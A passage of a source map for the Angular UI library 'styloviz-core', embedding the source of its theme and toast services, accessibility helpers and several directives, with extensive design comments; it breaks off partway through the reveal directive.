{"version":3,"file":"styloviz-core.mjs","names":[],"sources":["../../../../projects/core/src/lib/tokens/styloviz.token.ts","../../../../projects/core/src/lib/a11y/reduced-motion.ts","../../../../projects/core/src/lib/services/theme.service.ts","../../../../projects/core/src/lib/services/toast.service.ts","../../../../projects/core/src/lib/directives/chart-animate.directive.ts","../../../../projects/core/src/lib/directives/autofocus.directive.ts","../../../../projects/core/src/lib/directives/stop-propagation.directive.ts","../../../../projects/core/src/lib/directives/reveal.directive.ts","../../../../projects/core/src/lib/data/diff.ts","../../../../projects/core/src/lib/export/csv.ts","../../../../projects/core/src/lib/export/zip.ts","../../../../projects/core/src/lib/a11y/coarse-pointer.ts","../../../../projects/core/src/lib/a11y/high-contrast.ts","../../../../projects/core/src/lib/a11y/readable-ink.ts","../../../../projects/core/src/lib/i18n/number-format.ts","../../../../projects/core/src/lib/i18n/digits.ts","../../../../projects/core/src/lib/i18n/time-parse.ts","../../../../projects/core/src/lib/i18n/zoned.ts","../../../../projects/core/src/lib/i18n/week.ts","../../../../projects/core/src/lib/i18n/date-value.ts","../../../../projects/core/src/lib/a11y/direction.ts","../../../../projects/core/src/lib/a11y/live-announcer.ts","../../../../projects/core/src/lib/data/paste-list.ts","../../../../projects/core/src/lib/dev/warn-once.ts","../../../../projects/core/src/lib/a11y/unique-id.ts","../../../../projects/core/src/lib/security/html-sanitizer.ts","../../../../projects/core/src/lib/nav/link-adapter.ts","../../../../projects/core/src/lib/data/tri-state.ts","../../../../projects/core/src/lib/data/keyed-request-guard.ts","../../../../projects/core/src/lib/security/pattern.ts","../../../../projects/core/src/lib/security/highlight.ts","../../../../projects/core/src/lib/security/selector.ts","../../../../projects/core/src/lib/security/sensitive-value.ts","../../../../projects/core/src/lib/a11y/roving.ts","../../../../projects/core/src/lib/a11y/shortcut.ts","../../../../projects/core/src/lib/a11y/collection-keys.ts","../../../../projects/core/src/lib/forms/composition.ts","../../../../projects/core/src/lib/forms/caret-from-point.ts","../../../../projects/core/src/lib/a11y/contrast.ts","../../../../projects/core/src/lib/a11y/data-summary-table.component.ts","../../../../projects/core/src/lib/a11y/data-summary-table.component.html","../../../../projects/core/src/lib/a11y/data-summary.ts","../../../../projects/core/src/lib/virtual/virtualizer.ts","../../../../projects/core/src/lib/data/query.ts","../../../../projects/core/src/lib/data/errors.ts","../../../../projects/core/src/lib/data/request-guard.ts","../../../../projects/core/src/lib/data/async-action.ts","../../../../projects/core/src/lib/overlay/close-guard.ts","../../../../projects/core/src/lib/a11y/shortcut-registry.ts","../../../../projects/core/src/lib/overlay/sheet-mode.ts","../../../../projects/core/src/lib/feedback/banner-stack.ts","../../../../projects/core/src/lib/overlay/overlay-route.ts","../../../../projects/core/src/lib/data/suggest-controller.ts","../../../../projects/core/src/lib/data/select-source.ts","../../../../projects/core/src/lib/forms/select-feature.ts","../../../../projects/core/src/lib/data/stale.directive.ts","../../../../projects/core/src/lib/data/debounce.ts","../../../../projects/core/src/lib/data/item-key.ts","../../../../projects/core/src/lib/data/hierarchy.ts","../../../../projects/core/src/lib/data/live-feed.ts","../../../../projects/core/src/lib/data/record-merge.ts","../../../../projects/core/src/lib/data/visibility-pause.ts","../../../../projects/core/src/lib/data/live-ticker.ts","../../../../projects/core/src/lib/data/offscreen-pause.ts","../../../../projects/core/src/lib/data/small-shares.ts","../../../../projects/core/src/lib/data/series-gaps.ts","../../../../projects/core/src/lib/data/value-policy.ts","../../../../projects/core/src/lib/data/point-bins.ts","../../../../projects/core/src/lib/data/nice-scale.ts","../../../../projects/core/src/lib/data/stream-overlay.ts","../../../../projects/core/src/lib/data/optimistic.ts","../../../../projects/core/src/lib/data/persisted-state.ts","../../../../projects/core/src/lib/data/persisted-store.ts","../../../../projects/core/src/lib/data/shells/skeleton-shell.component.ts","../../../../projects/core/src/lib/data/shells/skeleton-shell.component.html","../../../../projects/core/src/lib/data/shells/error-shell.component.ts","../../../../projects/core/src/lib/data/shells/error-shell.component.html","../../../../projects/core/src/lib/data/shells/empty-shell.component.ts","../../../../projects/core/src/lib/data/shells/empty-shell.component.html","../../../../projects/core/src/lib/data/shells/chart-frame.component.ts","../../../../projects/core/src/lib/data/shells/chart-frame.component.html","../../../../projects/core/src/lib/data/shells/connection-status.component.ts","../../../../projects/core/src/lib/data/shells/connection-status.component.html","../../../../projects/core/src/lib/overlay/anchor-scroll-guard.ts","../../../../projects/core/src/lib/directives/listen-while.ts","../../../../projects/core/src/lib/overlay/body-scroll-lock.ts","../../../../projects/core/src/lib/overlay/focusable.ts","../../../../projects/core/src/lib/overlay/focus-scope.ts","../../../../projects/core/src/lib/overlay/focus-recovery.ts","../../../../projects/core/src/lib/nav/nav-location.ts","../../../../projects/core/src/lib/nav/close-on-navigation.ts","../../../../projects/core/src/lib/layout/element-size.ts","../../../../projects/core/src/lib/layout/floating-layer.ts","../../../../projects/core/src/lib/overlay/anchored-position.ts","../../../../projects/core/src/lib/overlay/fixed-origin.ts","../../../../projects/core/src/lib/overlay/portal-host.ts","../../../../projects/core/src/lib/overlay/overlay-stack.ts","../../../../projects/core/src/lib/overlay/stacked-popup.ts","../../../../projects/core/src/lib/nav/nav-telemetry.ts","../../../../projects/core/src/lib/forms/described-by.ts","../../../../projects/core/src/lib/forms/autofill.directive.ts","../../../../projects/core/src/lib/forms/field-error.ts","../../../../projects/core/src/lib/forms/field-error.component.ts","../../../../projects/core/src/lib/forms/mention-scan.ts","../../../../projects/core/src/lib/ai/privacy.ts","../../../../projects/core/src/lib/data/scale-ceiling.ts","../../../../projects/core/src/lib/data/shells/scale-notice.component.ts","../../../../projects/core/src/lib/feedback/spinner-arc.component.ts","../../../../projects/core/src/lib/feedback/wait-escalation.ts","../../../../projects/core/src/lib/dev/simulate-warning.ts"],"sourcesContent":["import {\n  InjectionToken,\n  makeEnvironmentProviders,\n  EnvironmentProviders,\n} from '@angular/core';\n\n// ─── Config interface ─────────────────────────────────────────────────────────\n\nexport interface StylovizConfig {\n  /**\n   * Default color scheme when the visitor has not chosen one with\n   * `ThemeService.setTheme()`. `'system'` follows the OS preference.\n   * @default 'system'\n   */\n  readonly colorScheme?: 'light' | 'dark' | 'system';\n\n  /**\n   * ⚠️ Not read by any component — Pro access is granted at INSTALL time by\n   * the license key in your `.npmrc` (it is the registry token), never at\n   * runtime, so there is nothing to put here and nothing ships a key into\n   * your bundle. Kept so existing configs still compile.\n   * @deprecated Has no effect. Remove it from your config.\n   */\n  readonly licenseKey?: string;\n}\n\n/**\n * @deprecated Misspelled — use {@link StylovizConfig}. Kept as an alias so\n * existing code compiles; it will be removed in the next major version.\n */\nexport type StyloVizConfig = StylovizConfig;\n\n// ─── Token ────────────────────────────────────────────────────────────────────\n\nexport const STYLOVIZ_CONFIG = new InjectionToken<StylovizConfig>('StylovizConfig');\n\n// ─── Provider factory ─────────────────────────────────────────────────────────\n\n/**\n * Register Styloviz in your root app config.\n *\n * @example\n * // app.config.ts\n * import { provideStyloviz } from '@styloviz/core';\n *\n * export const appConfig: ApplicationConfig = {\n *   providers: [\n *     provideStyloviz({ colorScheme: 'system' }),\n *   ],\n * };\n */\nexport function provideStyloviz(config: StylovizConfig = {}): EnvironmentProviders {\n  return makeEnvironmentProviders([\n    { provide: STYLOVIZ_CONFIG, useValue: config },\n  ]);\n}\n\n/**\n * @deprecated Misspelled — use {@link provideStyloviz}. Kept as an alias so\n * existing code compiles; it will be removed in the next major version.\n */\nexport function provideStylviz(config: StylovizConfig = {}): EnvironmentProviders {\n  return provideStyloviz(config);\n}\n","/**\n * `prefers-reduced-motion` helpers.\n *\n * Premium components must honour the user's motion preference. Use\n * `prefersReducedMotion()` for one-shot checks (e.g. deciding whether to\n * animate) and `onReducedMotionChange()` to react to live OS-level changes.\n *\n * All helpers are SSR-safe — they no-op / return `false` without `window`.\n */\n\nconst QUERY = '(prefers-reduced-motion: reduce)';\n\n/** Returns `true` when the user has requested reduced motion. */\nexport function prefersReducedMotion(): boolean {\n  if (typeof window === 'undefined' || typeof window.matchMedia !== 'function') {\n    return false;\n  }\n  return window.matchMedia(QUERY).matches;\n}\n\n/**\n * Subscribes to changes in the reduced-motion preference.\n * @returns an unsubscribe function. No-op (returns a no-op) without `window`.\n */\nexport function onReducedMotionChange(cb: (reduced: boolean) => void): () => void {\n  if (typeof window === 'undefined' || typeof window.matchMedia !== 'function') {\n    return () => {\n      /* intentionally empty */\n    };\n  }\n  const mql = window.matchMedia(QUERY);\n  const handler = (e: MediaQueryListEvent): void => cb(e.matches);\n  mql.addEventListener('change', handler);\n  return () => mql.removeEventListener('change', handler);\n}\n","import { Injectable, signal, effect, inject } from '@angular/core';\nimport { STYLOVIZ_CONFIG } from '../tokens/styloviz.token';\nimport { prefersReducedMotion } from '../a11y/reduced-motion';\n\nexport type Theme = 'light' | 'dark';\n\nconst STORAGE_KEY = 'styloviz-theme';\n\n/**\n * ★★★ EVERY STORAGE ACCESS IS GUARDED, INCLUDING READING THE GLOBAL (1.0 audit, H3).\n *     With cookies/site data blocked — a browser setting, some sandboxed\n *     iframes — merely evaluating `localStorage` throws a `SecurityError`. This\n *     service reads it while it is being CONSTRUCTED, so the throw took down\n *     every component that injects it, `sv-topbar` and with it the app shell.\n *     Without storage the theme still works; it is just not remembered.\n */\nfunction readStoredTheme(): Theme | null {\n  try {\n    if (typeof localStorage === 'undefined') return null;\n    const stored = localStorage.getItem(STORAGE_KEY);\n    return stored === 'dark' || stored === 'light' ? stored : null;\n  } catch {\n    return null;\n  }\n}\n\nfunction storeTheme(theme: Theme): void {\n  try {\n    if (typeof localStorage !== 'undefined') localStorage.setItem(STORAGE_KEY, theme);\n  } catch {\n    // Blocked or full storage: the switch still happens, it is just not remembered.\n  }\n}\n\n/** Minimal typing for the View Transitions API (not yet in lib.dom). */\ntype ViewTransitionDocument = Document & {\n  readonly startViewTransition?: (callback: () => void) => unknown;\n};\n\n/**\n * ThemeService — Dark/Light mode manager for Styloviz components.\n *\n * Priority order on init: localStorage → provideStyloviz colorScheme → OS preference → light.\n * Only `setTheme` / `toggleTheme` write localStorage — a theme that was merely\n * resolved (OS, config) is never stored, so it keeps following its source.\n *\n * Usage:\n *   const theme = inject(ThemeService);\n *   theme.toggleTheme();\n *   theme.isDark();   // signal\n */\n@Injectable({ providedIn: 'root' })\nexport class ThemeService {\n  private readonly config = inject(STYLOVIZ_CONFIG, { optional: true });\n\n  readonly isDark = signal<boolean>(this.resolveInitialTheme() === 'dark');\n\n  constructor() {\n    effect(() => {\n      this.applyTheme(this.isDark() ? 'dark' : 'light');\n    });\n  }\n\n  toggleTheme(): void {\n    this.setTheme(this.isDark() ? 'light' : 'dark');\n  }\n\n  setTheme(theme: Theme): void {\n    if (theme === (this.isDark() ? 'dark' : 'light')) return;\n\n    // ★★ Only an EXPLICIT choice is remembered (1.0 audit, H3). The effect used\n    //    to persist whatever theme was in force on first load — the OS\n    //    preference or `provideStyloviz({ colorScheme })` — as if the user had\n    //    picked it, so a later change to either was ignored for every\n    //    returning visitor.\n    storeTheme(theme);\n\n    const doc =\n      typeof document !== 'undefined'\n        ? (document as ViewTransitionDocument)\n        : undefined;\n    const startViewTransition = doc?.startViewTransition;\n\n    // Instant switch when the API is unavailable or reduced motion is\n    // requested; the cross-fade itself adds no per-element transitions.\n    if (!startViewTransition || this.prefersReducedMotion()) {\n      this.isDark.set(theme === 'dark');\n      return;\n    }\n\n    startViewTransition.call(doc, () => {\n      this.isDark.set(theme === 'dark');\n      this.applyTheme(theme);\n    });\n  }\n\n  private prefersReducedMotion(): boolean {\n    return prefersReducedMotion();\n  }\n\n  private resolveInitialTheme(): Theme {\n    if (typeof window === 'undefined') return 'light';\n\n    // 1. localStorage (user's last explicit choice)\n    const stored = readStoredTheme();\n    if (stored) return stored;\n\n    // 2. provideStyloviz colorScheme config\n    const scheme = this.config?.colorScheme;\n    if (scheme === 'dark') return 'dark';\n    if (scheme === 'light') return 'light';\n\n    // 3. OS preference — only when the browser can actually be asked.\n    if (typeof window.matchMedia !== 'function') return 'light';\n    return window.matchMedia('(prefers-color-scheme: dark)').matches\n      ? 'dark'\n      : 'light';\n  }\n\n  private applyTheme(theme: Theme): void {\n    if (typeof document === 'undefined') return;\n\n    const html = document.documentElement;\n    html.classList.toggle('dark', theme === 'dark');\n    html.classList.toggle('light', theme === 'light');\n  }\n}\n","import { Injectable, signal, type OnDestroy } from '@angular/core';\n\n// ─── Types ────────────────────────────────────────────────────────────────────\n\nexport type ToastVariant  = 'success' | 'error' | 'warning' | 'info';\nexport type ToastPosition =\n  | 'top-right'    | 'top-left'    | 'top-center'\n  | 'bottom-right' | 'bottom-left' | 'bottom-center';\n\nexport interface ToastAction {\n  readonly label:    string;\n  readonly callback: () => void;\n}\n\n/**\n * How long a toast is allowed to outlive the page it was raised on (`X-13`,\n * `OF-19-I5`).\n *\n * ★★★ THE OBVIOUS ANSWER — \"close everything on navigation\" — IS WRONG HERE,\n *     and it is wrong in the one case toasts exist for. `toast.success('Saved')`\n *     followed by `router.navigate(['/invoices'])` is THE canonical success\n *     toast: the whole point is that it survives the navigation the save\n *     triggered. A blanket route-close would delete every confirmation the user\n *     is meant to read, and it would do it in the flow that matters most.\n *\n * ★★ WHAT IS ACTUALLY STALE IS A TOAST ABOUT THE PAGE, not about the action.\n *    \"3 filters could not be applied to this view\", \"This report is still\n *    loading\" — those refer to something the user has left, and reading them\n *    two pages later is worse than not seeing them. So the staleness is a\n *    property of the MESSAGE, which only the caller knows, and it is declared\n *    per toast rather than guessed globally.\n *\n * | Scope             | Survives navigation | Use for                          |\n * |-------------------|---------------------|----------------------------------|\n * | `'global'` (default) | yes              | outcomes: saved, deleted, sent   |\n * | `'route'`         | no                  | statements about the current page |\n */\nexport type ToastScope = 'global' | 'route';\n\nexport interface Toast {\n  readonly id:          string;\n  readonly variant:     ToastVariant;\n  readonly title?:      string;\n  readonly message:     string;\n  readonly duration:    number;     // ms — 0 = persist until dismissed\n  readonly dismissible: boolean;\n  readonly action?:     ToastAction;\n  readonly position:    ToastPosition;\n  /** Whether this toast survives a route change. Defaults to `'global'`. */\n  readonly scope:       ToastScope;\n  /**\n   * Identity for deduplication (`X-12`, `OF-19-I1`). `null` opted out.\n   *\n   * Derived from variant + title + message + position when the caller does not\n   * supply one, so two calls that would render the identical toast are the\n   * same toast.\n   */\n  readonly dedupeKey:   string | null;\n  /**\n   * How many times this toast has been raised. `1` for a first occurrence.\n   *\n   * ★ A repeat is COUNTED, not dropped and not duplicated. Dropping it hides\n   *   that the thing is still happening — the difference between one failed\n   *   save and a retry loop failing eleven times is the whole diagnosis —\n   *   and duplicating it buries the rest of the stack under one message.\n   */\n  readonly count:       number;\n}\n\nexport interface ToastOptions {\n  readonly title?:       string;\n  readonly duration?:    number;\n  readonly dismissible?: boolean;\n  readonly action?:      ToastAction;\n  readonly position?:    ToastPosition;\n  /**\n   * `'route'` dismisses this toast on the next navigation; `'global'` (the\n   * default) keeps it. See {@link ToastScope} — the default is `'global'`\n   * because the commonest toast of all is raised BY a navigating action.\n   */\n  readonly scope?:       ToastScope;\n  /**\n   * Deduplication identity (`X-12`, `OF-19-I1`).\n   *\n   * | Value       | Meaning                                                    |\n   * |-------------|------------------------------------------------------------|\n   * | omitted     | derive one from variant + title + message + position       |\n   * | a string    | dedupe on that, whatever the text — e.g. `'sync-failed'`   |\n   * | `null`      | never dedupe; this call always adds a toast                |\n   *\n   * ★★ THE DEFAULT IS ON, because \"no deduplication\" is the defect: a retry\n   *    loop that fails eleven times filled the screen with eleven identical\n   *    toasts and pushed every other message out of a bounded stack. A repeat\n   *    now refreshes the one that is up, increments its `count`, and restarts\n   *    its countdown.\n   *\n   * ★ An EXPLICIT key is the interesting one: it makes \"Saving…\" and \"Saved\"\n   *   for the same record replace each other, and it makes two different\n   *   records' failures two toasts even when the wording is identical.\n   */\n  readonly dedupeKey?:   string | null;\n}\n\n// ─── Service ─────────────────────────────────────────────────────────────────\n\n// module-id-counter: data id — never rendered as a DOM id during a server render.\nlet _idCounter = 0;\n\n/**\n * ToastService — Imperative notification API.\n *\n * Inject anywhere and call convenience methods:\n *   toast.success('Saved!');\n *   toast.error('Failed', { title: 'Error', duration: 0 });\n *\n * Pair with `<sv-toast-host>` from `@styloviz/toast` in your root layout.\n */\ninterface ToastTimer {\n  /**\n   * The live `setTimeout` handle, or `undefined` while paused.\n   *\n   * ★ `undefined` is the pause flag, and both `pause()` and `resume()` guard on\n   *   it. A paused entry is KEPT (rather than deleted) so `resume()` can restart\n   *   from `remaining`; the absent handle is what distinguishes \"paused\" from\n   *   \"running\" without a second boolean that could disagree with it.\n   */\n  handle?:   ReturnType<typeof setTimeout>;\n  /** ms remaining when the timer was last (re)started. */\n  remaining: number;\n  /** wall-clock time the timer was last started. */\n  startedAt: number;\n}\n\n@Injectable({ providedIn: 'root' })\nexport class ToastService implements OnDestroy {\n  readonly toasts = signal<Toast[]>([]);\n\n  /** Active auto-dismiss timers keyed by toast id (enables pause/resume). */\n  private readonly timers = new Map<string, ToastTimer>();\n\n  success(message: string, opts?: ToastOptions): string {\n    return this.show('success', message, opts);\n  }\n\n  error(message: string, opts?: ToastOptions): string {\n    return this.show('error', message, { duration: 6000, ...opts });\n  }\n\n  warning(message: string, opts?: ToastOptions): string {\n    return this.show('warning', message, opts);\n  }\n\n  info(message: string, opts?: ToastOptions): string {\n    return this.show('info', message, opts);\n  }\n\n  show(variant: ToastVariant, message: string, opts: ToastOptions = {}): string {\n    const duration    = opts.duration ?? 4000;\n    const dismissible = opts.dismissible ?? true;\n    const position    = opts.position ?? 'top-right';\n    const scope       = opts.scope ?? 'global';\n    const dedupeKey   =\n      opts.dedupeKey === null\n        ? null\n        : opts.dedupeKey ??\n          // ★ `\\u0000` as the separator, not `|`: a message may contain any\n          //   printable character, and a joined key that a message can forge\n          //   is a key that can collide with a different message on purpose.\n          //   Position is part of it because two hosts render two stacks —\n          //   the same text top-right and bottom-left is two toasts.\n          [variant, opts.title ?? '', message, position].join('\\u0000');\n\n    if (dedupeKey !== null) {\n      const existing = this.toasts().find((t) => t.dedupeKey === dedupeKey);\n      if (existing) {\n        return this._refresh(existing, {\n          variant,\n          message,\n          title: opts.title,\n          duration,\n          dismissible,\n          action: opts.action,\n          position,\n          scope,\n          dedupeKey,\n        });\n      }\n    }\n\n    const id = `svz-toast-${++_idCounter}`;\n    const toast: Toast = {\n      id,\n      variant,\n      message,\n      title:       opts.title,\n      duration,\n      dismissible,\n      action:      opts.action,\n      position,\n      scope,\n      dedupeKey,\n      count:       1,\n    };\n\n    this.toasts.update(list => [...list, toast]);\n\n    if (toast.duration > 0) {\n      this.startTimer(id, toast.duration);\n    }\n\n    return id;\n  }\n\n  /**\n   * A repeat of a toast that is already up (`X-12`, `OF-19-I1`).\n   *\n   * ★★★ IT KEEPS ITS PLACE IN THE STACK. Moving a repeat to the newest slot\n   *     displaces every toast below it — under a pointer that is, by design,\n   *     hovering the stack to pause it, which is how a user clicks Dismiss on\n   *     the wrong message. The count and the restarted countdown already say\n   *     \"again, now\". The cost, stated rather than hidden: a repeat of a toast\n   *     that `maxVisible` has already pushed out of view stays out of view.\n   *\n   * ★★ IT KEEPS ITS ID, and returns it. The caller's handle from the first\n   *    call still dismisses, pauses and resumes the thing on screen — and the\n   *    host's \"already announced\" set is keyed by id, so a repeat does not\n   *    shout the same sentence at a screen-reader user a second time.\n   *\n   * ★ The newer call's text, action and duration WIN. With a derived key they\n   *   are identical by construction; with an explicit key the newer wording is\n   *   the fresher truth — that is what makes `'Saving…'` → `'Saved'` on one key\n   *   a replacement rather than two toasts.\n   */\n  private _refresh(existing: Toast, next: Omit<Toast, 'id' | 'count'>): string {\n    const refreshed: Toast = { ...next, id: existing.id, count: existing.count + 1 };\n    this.toasts.update(list => list.map(t => (t.id === existing.id ? refreshed : t)));\n    this.clearTimer(existing.id);\n    if (refreshed.duration > 0) this.startTimer(existing.id, refreshed.duration);\n    return existing.id;\n  }\n\n  dismiss(id: string): void {\n    this.clearTimer(id);\n    this.toasts.update(list => list.filter(t => t.id !== id));\n  }\n\n  dismissAll(): void {\n    this.timers.forEach(t => clearTimeout(t.handle));\n    this.timers.clear();\n    this.toasts.set([]);\n  }\n\n  /**\n   * The app navigated — drop the toasts that were about the page just left\n   * (`X-13`, `OF-19-I5`).\n   *\n   * Router-agnostic on purpose, exactly like `SvOverlayRouteService.navigated()`:\n   * core does not depend on `@angular/router`. `provideSvOverlayRouteClose()`\n   * from `@styloviz/layout` calls this on `NavigationEnd`; an app on a different\n   * router calls it itself.\n   *\n   * ★★ IT IS A POINT IN TIME, NOT A MODE. Only the toasts standing when it is\n   *    called are considered; a `'route'` toast raised afterwards belongs to the\n   *    page just arrived at and is not retroactively stale. That is what makes\n   *    `toast.error('Could not load this view', { scope: 'route' })` usable from\n   *    a route resolver or a landing-page effect.\n   *\n   * ★ Each one goes through `dismiss()` rather than a bulk `set([])`, so its\n   *   auto-dismiss timer is cleared with it. A surviving timer would later fire\n   *   `dismiss(id)` for an id nothing holds — harmless today, and exactly the\n   *   kind of leak that stops being harmless once ids are reused for dedupe\n   *   (`T6`).\n   */\n  navigated(): void {\n    for (const toast of this.toasts()) {\n      if (toast.scope === 'route') this.dismiss(toast.id);\n    }\n  }\n\n  /**\n   * Pause a toast's auto-dismiss countdown (e.g. while the pointer hovers the\n   * stack), preserving the time that was left. No-op for persistent toasts.\n   *\n   * ★ The `!timer.handle` guard is load-bearing, not defensive tidiness.\n   *   `sv-toast-host` calls `pauseAll()` from BOTH `mouseenter` and `focusin`,\n   *   and hovering a toast then tabbing into it fires both. Without the guard\n   *   the second call subtracts the SAME elapsed span from `remaining` a second\n   *   time, so the toast dismisses at roughly half the time it had left —\n   *   under the user's pointer, while they are reading it. `resume()` has\n   *   always had the mirror-image guard; this one was missing.\n   */\n  pause(id: string): void {\n    const timer = this.timers.get(id);\n    if (!timer || !timer.handle) return;\n    clearTimeout(timer.handle);\n    // Keep the entry (with no live handle) so resume() can restart it.\n    this.timers.set(id, {\n      ...timer,\n      handle: undefined,\n      remaining: timer.remaining - (Date.now() - timer.startedAt),\n    });\n  }\n\n  /** Resume a previously paused auto-dismiss countdown with its remaining time. */\n  resume(id: string): void {\n    const timer = this.timers.get(id);\n    if (!timer || timer.handle) return;\n    this.startTimer(id, Math.max(timer.remaining, 0));\n  }\n\n  // ── Internal timer helpers ──────────────────────────────────────────────────\n\n  private startTimer(id: string, duration: number): void {\n    const handle = setTimeout(() => this.dismiss(id), duration);\n    this.timers.set(id, { handle, remaining: duration, startedAt: Date.now() });\n  }\n\n  private clearTimer(id: string): void {\n    const timer = this.timers.get(id);\n    if (timer?.handle) clearTimeout(timer.handle);\n    this.timers.delete(id);\n  }\n\n  /**\n   * Clear every pending auto-dismiss timer when the injector goes (`OF-19-I4`,\n   * and the same defect class as the Alert Banner's `X-2`).\n   *\n   * ★★★ A PENDING `setTimeout` IS A STRONG REFERENCE HELD BY THE RUNTIME. Its\n   *     closure holds this service, which holds every toast in the signal, and\n   *     nothing can collect any of it until the timer fires — up to six\n   *     seconds after the injector that owned it was destroyed. On the server\n   *     that is once per REQUEST: a per-request root injector with a toast in\n   *     flight stays alive, and the callback then calls `dismiss()` on a\n   *     service nothing will ever read again.\n   *\n   * ★★ `ngOnDestroy` RATHER THAN `inject(DestroyRef)`, and the reason is\n   *    testability rather than taste: this service is constructed directly\n   *    (`new ToastService()`) by its own specs and by hosts that want an\n   *    isolated stack, and `inject()` outside an injection context throws.\n   *    Angular calls `ngOnDestroy` on a `providedIn: 'root'` service when its\n   *    injector is destroyed, so both paths work.\n   *\n   * ★ The toasts themselves are left alone. Nothing will read the signal after\n   *   this, and clearing it would be work done for an observer that does not\n   *   exist; the timers are the leak.\n   */\n  ngOnDestroy(): void {\n    this.timers.forEach(t => { if (t.handle) clearTimeout(t.handle); });\n    this.timers.clear();\n  }\n}\n","import {\n  Directive,\n  ElementRef,\n  OnDestroy,\n  OnInit,\n  inject,\n} from '@angular/core';\n\n/**\n * SvChartAnimDirective — Viewport-aware chart animation trigger.\n *\n * Attach `svChartAnim` to the root wrapper of any Styloviz chart.\n * Uses IntersectionObserver to add `.sv-animate` once the chart\n * enters the viewport (threshold 10%), triggering CSS bar-grow animations.\n *\n * @example\n * ```html\n * <div svChartAnim class=\"flex flex-col gap-3\">\n *   <!-- chart content -->\n * </div>\n * ```\n */\n@Directive({\n  selector: '[svChartAnim]',\n  standalone: true,\n})\nexport class SvChartAnimDirective implements OnInit, OnDestroy {\n  private readonly el = inject(ElementRef<HTMLElement>);\n  private observer?: IntersectionObserver;\n\n  ngOnInit(): void {\n    // `IntersectionObserver` does not exist under SSR or in a DOM shim such as\n    // jsdom, and this used to throw there — taking every chart in the kit down\n    // with it. The animation is decorative, so its absence just means the\n    // chart renders in its final state immediately.\n    if (typeof IntersectionObserver === 'undefined') {\n      this.el.nativeElement.classList.add('sv-animate');\n      return;\n    }\n\n    this.observer = new IntersectionObserver(\n      (entries) => {\n        entries.forEach((entry) => {\n          if (entry.isIntersecting) {\n            requestAnimationFrame(() => {\n              (entry.target as HTMLElement).classList.add('sv-animate');\n            });\n            this.observer?.unobserve(entry.target);\n          }\n        });\n      },\n      { threshold: 0.1 }\n    );\n\n    this.observer.observe(this.el.nativeElement);\n  }\n\n  ngOnDestroy(): void {\n    this.observer?.disconnect();\n  }\n}\n","import { Directive, ElementRef, inject, input, afterNextRender, Injector } from '@angular/core';\n\n/**\n * Move focus to this element when it appears.\n *\n * The native `autofocus` attribute does not do this. It is specified to apply\n * when a *document* finishes loading, and browsers vary on what they do with it\n * on an element inserted later — which is exactly the case that matters here: a\n * cell editor opening on double-click, a picker's search box appearing inside a\n * popover, a reply box expanding under a comment. Those either worked by\n * accident or not at all, and `@angular-eslint`'s blanket `no-autofocus` was\n * flagging them for the wrong reason — the attribute is not merely bad practice\n * on dynamic content, it is inert.\n *\n * Focus is applied after the next render rather than in `ngOnInit`, because at\n * init the element may not be attached yet — and `.focus()` on a detached node\n * silently does nothing, which is the failure mode that makes people reach for\n * `setTimeout(…, 0)` and hope.\n *\n * Only use this where the user's own action caused the element to appear.\n * Stealing focus on page load is the accessibility problem `no-autofocus`\n * exists to prevent, and this directive does not make that acceptable.\n *\n * ```html\n * <input svAutofocus [svAutofocus]=\"isEditing()\" />\n * ```\n */\n@Directive({\n  selector: '[svAutofocus]',\n  standalone: true,\n})\nexport class SvAutofocusDirective {\n  private readonly el = inject<ElementRef<HTMLElement>>(ElementRef);\n  private readonly injector = inject(Injector);\n\n  /**\n   * Set to `false` to render the element without taking focus. Bare\n   * `svAutofocus` (no value) reads as an empty string, which is why this\n   * accepts `'' | boolean` rather than `boolean` alone.\n   * @default true\n   */\n  readonly svAutofocus = input<'' | boolean>(true);\n\n  /** Select existing text as well, for an editor opening over a current value. */\n  readonly selectOnFocus = input<boolean>(false);\n\n  constructor() {\n    afterNextRender(\n      () => {\n        if (this.svAutofocus() === false) return;\n        const node = this.el.nativeElement;\n        node.focus();\n        if (\n          this.selectOnFocus() &&\n          (node instanceof HTMLInputElement || node instanceof HTMLTextAreaElement)\n        ) {\n          node.select();\n        }\n      },\n      { injector: this.injector },\n    );\n  }\n}\n","import { Directive } from '@angular/core';\n\n/**\n * Stops a click reaching an outside-click listener, without putting a\n * behaviour-free handler in the template.\n *\n * Panels that close on an outside click need their own clicks to not count as\n * \"outside\". The usual spelling is `(click)=\"$event.stopPropagation()\"` on the\n * panel — which reads to both a reviewer and `@angular-eslint`'s\n * `click-events-have-key-events` / `interactive-supports-focus` rules as an\n * interactive element, because it has a click handler. It is not one. There is\n * nothing to reach by keyboard because there is no behaviour: the handler exists\n * to *prevent* an effect, not to cause one.\n *\n * That accounted for 31 elements — roughly 62 of the 147 keyboard-accessibility\n * warnings in this repo, none of them a real defect, all of them crowding out\n * the ones that are.\n *\n * Naming the intent fixes both problems: the template says what it means, and\n * the rules stop reporting an interaction that does not exist.\n *\n * @example <div class=\"panel\" svStopPropagation> … </div>\n */\n@Directive({\n  selector: '[svStopPropagation]',\n  standalone: true,\n  host: { '(click)': '$event.stopPropagation()' },\n})\nexport class SvStopPropagationDirective {}\n","import { afterNextRender, DestroyRef, Directive, ElementRef, inject, input } from '@angular/core';\n\n/**\n * ============================================================\n *  svReveal — a section fades up as it comes into view\n * ============================================================\n *\n *  Promoted out of the portfolio template (2026-08-26) when a second template\n *  needed it. The transition itself is CSS on `[data-sv-reveal]` and lives in\n *  each template's own token block in `styles.css`, because a packed template\n *  ships only what is between its markers — a template without those rules\n *  gets no animation, which is the same graceful nothing every other failure\n *  path here produces.\n * ============================================================\n *\n *  ★★★ THE HIDDEN STATE IS APPLIED BY JAVASCRIPT, NEVER BY THE STYLESHEET.\n *\n *      The obvious build is `opacity-0` in the markup and a class that turns\n *      it on. That ships a page whose content is invisible to anyone the\n *      script never reaches — a crawler reading the prerendered HTML, a\n *      browser where the bundle failed, a reader who has asked their OS for\n *      less motion. The failure is total and silent: the page looks blank.\n *\n *      So the element starts visible, in the markup, and this directive hides\n *      it only once it has decided it can animate — which means it has a DOM,\n *      an IntersectionObserver, and permission to move. Every path that is not\n *      that one leaves the page exactly as the server rendered it.\n *\n *  ★★ `prefers-reduced-motion` IS CHECKED, NOT ASSUMED. A fade is still\n *     motion. Someone who has turned motion down gets the content, immediately\n *     and in place, rather than a shorter version of the animation.\n *\n *  ★ It disconnects after the first reveal. A section that has been seen does\n *    not need watching, and an observer left attached to every card on a long\n *    index is work the page does forever for nothing.\n *\n *  Usage — note the element is fully visible without any of this:\n *\n *    <section svReveal>…</section>\n *    <article svReveal [revealDelay]=\"80\">…</article>\n * ============================================================\n */\n@Directive({\n  selector: '[svReveal]',\n  